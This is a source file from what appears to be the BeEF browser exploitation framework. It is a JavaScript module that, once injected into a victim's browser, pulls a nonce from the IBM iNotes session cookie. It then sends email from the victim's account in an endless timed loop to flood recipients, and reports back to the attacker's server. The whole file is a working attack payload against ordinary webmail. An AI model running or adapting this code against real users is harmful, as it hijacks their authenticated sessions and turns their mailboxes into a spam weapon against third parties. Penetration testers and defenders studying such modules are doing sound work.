Path: blob/master/modules/misc/ibm_inotes/inotes_flooder/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn [email protected]2//3// Licensed under the Apache License, Version 2.0 (the "License");4// you may not use this file except in compliance with the License.5// You may obtain a copy of the License at6//7// http://www.apache.org/licenses/LICENSE-2.08//9// Unless required by applicable law or agreed to in writing, software10// distributed under the License is distributed on an "AS IS" BASIS,11// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.12// See the License for the specific language governing permissions and13// limitations under the License.14//15beef.execute(function() {16var to = "<%= CGI::escape(@to) %>";17var subject = "<%= CGI::escape(@subject) %>";18var body = "<%= CGI::escape(@body) %>";19var delay = "<% @delay %>";2021//get URL for this nsf databse22var currentURL = document.URL;23var rx = /(.*\.nsf)/g;24var arr = rx.exec(currentURL);2526try {27var notesURL = arr[1];2829beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');3031(function flood() {32//extract nonce from ShimmerS-cookie33var cookies = document.cookie;34var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;35var arrc = rxc.exec(cookies);36var xhr = new XMLHttpRequest();37var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";38xhr.open("POST", uri, true);39xhr.withCredentials = true;40xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");41var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;4243xhr.send(post_data);4445setTimeout( flood, delay );46})();4748} catch(e) {49beef.debug("[IBM Notes Flooder] Error: " + e);50beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Flooder failed. Error: ' + e);5152}53});545556575859606162